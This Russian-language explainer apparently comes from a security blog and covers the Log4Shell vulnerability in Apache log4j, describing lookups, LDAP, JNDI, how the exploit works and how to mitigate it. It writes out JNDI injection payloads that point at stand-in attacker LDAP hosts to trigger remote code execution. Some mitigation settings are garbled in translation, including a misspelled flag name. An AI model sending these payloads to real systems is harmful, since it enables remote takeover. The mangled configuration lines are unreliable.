Что такое уязвимость Apache Log4j?

Опубликовано: 6 Сентября, 2022

9 декабря 2021 года мир узнал о единственной, самой крупной и критической уязвимости CVE-2021-44228, затрагивающей утилиту ведения журналов на базе Java log4j. Об этой уязвимости сообщил apache Чэнь Чжаоцзюнь из группы безопасности облачных вычислений Alibaba 24 ноября 2021 года и опубликовал в твите 9 декабря 2021 года.

Фонд программного обеспечения Apache присвоил максимальную оценку серьезности 10/10. Уязвимость позволяет злоумышленникам удаленно выполнять код, а строка полезной нагрузки выглядит как «${jndi:ldap://attacker.com/a}». Множество сервисов, затронутых организацией, включают Cloudfare, Apple iCloud, Minecraft: java edition, stream, Tencent QQ и Twitter.

Что такое log4j и поиск?

Apache log4j — это утилита ведения журнала на основе Java. Роль Apache log4j заключается в том, чтобы регистрировать информацию, чтобы помочь приложениям работать бесперебойно, определять, что происходит, и отлаживать процессы при возникновении ошибок. log4j может регистрировать попытки входа в систему (имя пользователя, пароль), форму отправки и заголовки HTTP (пользовательский агент, x-forwarded-host и т. д.) в файл журнала или базу данных.

Apache log4j 2.0 представляет

  • Новая система плагинов
  • Поддержка свойств
  • Поддержка базовой конфигурации JSON
  • Автоматическая перезагрузка его конфигурации

Поиски позволяют добавлять значения в конфигурацию log4j в произвольных местах.

Синтаксис:

${prefix:name}

Виды поиска следующие:

  1. контекст может искать
  2. поиск даты
  3. поиск среды
  4. jndi lookups (основная причина уязвимости)
  5. поиск в Java
    • ${java:версия}
    • ${java:среда выполнения}
    • ${java:ОС}

Теперь давайте кратко разберемся с LDAP и JNDI, прежде чем мы изучим эксплойт log4j.

Что такое LDAP?

Упрощенный протокол доступа к каталогам (LDAP) — это открытый стандартный прикладной протокол для доступа и обслуживания распределенных информационных служб каталогов по сети интернет-протокола. Проще говоря, метафора информационного дерева называется Информационным деревом каталогов (DIT). Предположим, пользователь регистрируется в приложении, используя имя пользователя и пароль. Здесь сервер LDAP хранит информацию о пользователе в его учетной записи. всякий раз, когда пользователь пытается войти в приложение, сервер LDAP проверяет личность пользователя с помощью авторизации. если имя пользователя и пароль верны, он возвращает учетную запись пользователя.

Что такое JNDI?

JNDI предоставляет API для взаимодействия приложений с удаленными объектами, зарегистрированными в реестре RMI или службе каталогов, например LDAP. Таким образом, java-приложение не может напрямую запрашивать сервер LDAP, потому что нам нужен jndi, который дает нам возможность взаимодействовать с LDAP.

Query: ${jndi:ldap://[server-ip-address]}

Он специфичен для интерфейса поставщика услуг (SPI), который позволяет встраивать реализации службы каталогов в структуру.

Как вы можете использовать уязвимость log4j?

Log4j позволяет регистрируемым сообщениям содержать строки формата, которые ссылаются на внешнюю информацию через интерфейс именования и каталогов Java (JNDI). Это позволяет удаленно извлекать информацию по различным протоколам, включая протокол облегченного доступа к каталогам (LDAP).

предполагается, что одна из служб уязвима из-за уязвимости log4j. В представлении на уровне пользователя, когда пользователь делает что-то вроде попыток входа в систему, log4j регистрирует пользовательские данные, такие как имя пользователя, http-заголовки (пользовательский агент: Mozilla/5.0 (Windows NT 10.0; Win64; x64)). В случае злоумышленника он вставляет ссылки запроса JNDI, указывающие на злонамеренный LDAP-сервер, которым они управляют, готовый обслуживать вредоносные классы java при любых действиях, которые они выберут. когда log4j увидел следующий запрос в сообщении журнала:

${jndi:ldap://attacker_ldap_server.com/payload}

Он указывает JNDI запрашивать у сервера attacker_ldap_server.com объект «paylod». JNDI будет выполнять классы Java, на которые ссылается сервер LDAP. Если ответ сервера LDAP ссылается на URL-адрес http://attacker_ldap_server.com/payload, JNDI автоматически запросит файл «payload» с веб-сервера и выполнит ответ. И даа БУМ….! Теперь вы можете получить RCE (удаленное выполнение кода) в приложении.

Смягчение

1. Log4j 1.x смягчение последствий

  • Log4j 1.x не подвержен этой уязвимости.

2. Устранение последствий Log4j 2.x

  • Выполните обновление до Log4j 2.3.2 (для Java 6), 2.12.4 (для Java 7) или 2.17.1 (для Java 8 и более поздних версий).

3. Log4j >= v2.10

  • Log4j2.formatMsgNoLookuos=истина
  • LOG4J_FORMAT_MSG_NO_LOOKUPS=истина

4. Log4j < v2.10

  • Удалить класс поиска jndi из пути к классам

5. Блокировать эксплойты

  • Правила WAF
  • Выходные фильтры